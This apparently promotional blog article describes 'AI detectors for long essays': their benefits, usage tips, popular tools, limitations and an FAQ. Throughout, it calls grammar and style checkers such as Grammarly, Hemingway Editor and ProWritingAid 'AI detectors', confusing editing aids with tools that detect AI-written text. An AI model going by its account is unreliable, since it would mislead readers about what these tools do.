One key component of how AI detectors work is through the use of natural language processing (NLP). This technology enables the software to understand and interpret human language in a way that is similar to how humans do. By analyzing the text at a deeper level, NLP helps the detector identify errors and provide suggestions for improvement.

Implementing Machine Learning Algorithms

In addition to NLP, AI detectors for long essays also incorporate machine learning algorithms. These algorithms allow the software to learn from the data it processes and improve over time. By analyzing patterns and trends in writing, the detector can offer more accurate feedback and recommendations for enhancing the overall quality of the content.

Examining Grammar, Punctuation, and Style

When analyzing a long essay, an AI detector considers various aspects of the writing, including grammar, punctuation, structure, and style. It compares the text against predefined rules and standards to identify areas that may need improvement. By highlighting errors and suggesting corrections, the detector helps writers enhance the clarity and coherence of their work.

Overall, AI detectors for long essays work by combining natural language processing and machine learning algorithms to analyze and improve written content. These tools offer valuable feedback, enhance the editing process, and assist writers in creating high-quality essays.

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One of the primary benefits of using an AI detector for long essays is its ability to streamline the editing process. Instead of manually combing through your writing to identify errors and areas for improvement, the AI detector can quickly analyze your text and provide suggestions for enhancement.

Enhance Writing Skills

By utilizing an AI detector, writers can enhance their writing skills over time. The feedback and recommendations provided by the tool can help users learn about common errors, improve their grammar and punctuation, and develop a better understanding of writing style and structure.

Improve Overall Quality

Using an AI detector can significantly improve the overall quality of your long essays. By addressing issues such as spelling mistakes, awkward phrasing, and readability concerns, writers can elevate the professionalism and coherence of their work.

Increase Accuracy

AI detectors are designed to be highly accurate in detecting errors and providing suggestions for improvement. This can help writers ensure that their long essays are error-free and polished before submission, boosting the accuracy and credibility of their writing.

Boost Productivity

With the efficiency and effectiveness of an AI detector, writers can complete their editing tasks more quickly and efficiently. This increased productivity allows for more time to focus on other aspects of the writing process or to work on additional projects.

Provide Valuable Insights

Using an AI detector for long essays can provide valuable insights into your writing habits and areas for growth. By analyzing the feedback and recommendations from the tool, writers can gain a deeper understanding of their strengths and weaknesses, leading to continuous improvement.

When using an AI detector for long essays, there are several strategies you can implement to optimize its effectiveness. Here are some tips to help you make the most out of this innovative tool:

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Review and Implement Suggestions

One key tip for maximizing the effectiveness of an AI detector is to carefully review the suggestions provided and actively implement them in your writing. Pay close attention to the feedback on grammar, punctuation, style, and structure to enhance the overall quality of your essay.

Focus on Specific Areas of Improvement

Another essential tip is to focus on specific areas of improvement identified by the AI detector. Whether it's improving sentence clarity, eliminating passive voice, or enhancing readability, honing in on specific aspects can help you target your editing efforts more effectively.

Use the Tool Regularly

Consistent usage of the AI detector is crucial for maximizing its benefits. Make it a habit to run your essays through the tool regularly to identify any recurring issues or patterns in your writing. By doing so, you can continuously refine your writing skills and improve with each edit.

Combine with Manual Proofreading

While AI detectors are powerful tools for editing long essays, they are not foolproof. It's essential to supplement their feedback with manual proofreading to ensure that all errors are addressed. Combining the efficiency of AI technology with the attention to detail of human proofreading can result in polished and refined essays.

When it comes to writing long essays, having the right tools to analyze and enhance your work can make a significant difference. Here are some popular AI detectors that can help you polish your writing:

Grammarly is one of the most well-known AI detectors for long essays. It not only checks for grammatical errors and punctuation mistakes but also provides suggestions for improving sentence structure, clarity, and style. With Grammarly, you can receive detailed feedback on your writing and make necessary corrections to elevate the overall quality of your essay.

Hemingway Editor

The Hemingway Editor is another excellent tool for writers looking to simplify and strengthen their prose. This AI detector highlights lengthy and complex sentences, passive voice usage, adverb overuse, and other common writing issues. By using the Hemingway Editor, you can create clear and concise essays that are easier for your readers to understand.

ProWritingAid

ProWritingAid is a comprehensive AI detector that offers a wide range of writing analysis features. From grammar and spelling checks to style suggestions and readability improvements, this tool has everything you need to refine your long essays. With ProWritingAid, you can enhance the coherence and coherence of your writing, making it more engaging and impactful.

These are just a few examples of popular AI detectors that can assist you in refining your long essays. Each tool has its own unique strengths and capabilities, so it's important to explore and find the one that best suits your writing style and preferences.

While AI detectors for long essays offer valuable benefits, they also come with certain challenges that writers should be aware of. These challenges can impact the effectiveness and reliability of the tools in various ways.

Interpreting Context

One of the primary challenges of using AI detectors is their ability to accurately interpret context. While these tools are equipped with advanced algorithms, they may struggle to understand the nuances and subtleties of language, leading to misinterpretations and incorrect suggestions for improvements.

Detecting Nuanced Errors

AI detectors excel at identifying common grammatical errors and syntax issues. However, when it comes to detecting more nuanced errors or stylistic nuances, such as tone, voice, or specific writing conventions, these tools may fall short. Writers may need to rely on their own judgment to address these complex issues.

Providing Personalized Feedback

Another challenge of using AI detectors is the lack of personalized feedback. While these tools can offer general suggestions for improvement based on predefined rules, they may not provide tailored advice that takes into account the writer's unique style, voice, or preferences. Writers looking for personalized feedback may need to supplement AI suggestions with their own insights.

Replacing Human Editors

Despite their advanced capabilities, AI detectors are not meant to replace human editors entirely. While these tools can enhance the editing process, offer valuable insights, and save time, they may lack the creative intuition, emotional intelligence, and subjective judgment that human editors bring to the table. Writers should view AI detectors as valuable aids rather than complete substitutes for human editing.

AI detectors for long essays are powerful tools that can significantly improve the quality of writing by offering valuable feedback, enhancing efficiency, and promoting self-improvement. These innovative solutions have the potential to transform the way we approach writing and editing, leading to better outcomes and increased productivity. By integrating AI detectors into the writing process, writers can streamline their editing efforts, enhance their skills, and produce higher-quality content.

Whether you're a student working on a research paper or a professional crafting a lengthy report, utilizing AI detectors for long essays can provide you with the support and guidance needed to elevate your writing to the next level. Embrace these advanced technologies to unlock your full potential as a writer and achieve greater success in your writing endeavors.

1. What are some popular AI detectors for long essays?

Some popular AI detectors for analyzing long essays include Grammarly, Hemingway Editor, ProWritingAid, and more. These tools use advanced algorithms to help writers improve their writing by providing suggestions for grammar, punctuation, style, and structure.

2. How do AI detectors enhance the editing process for long essays?

AI detectors for long essays work by utilizing artificial intelligence to analyze the text for errors, readability, and overall quality. They provide writers with detailed reports and recommendations to help enhance their writing skills, increase accuracy, and streamline the editing process.

3. Are there any limitations to using AI detectors for long essays?

While AI detectors for long essays offer numerous benefits, they may have limitations in accurately interpreting context, detecting nuanced errors, providing personalized feedback, and fully replacing human editors. It's important for writers to use these tools as aids in the editing process rather than relying solely on them for all editing needs.

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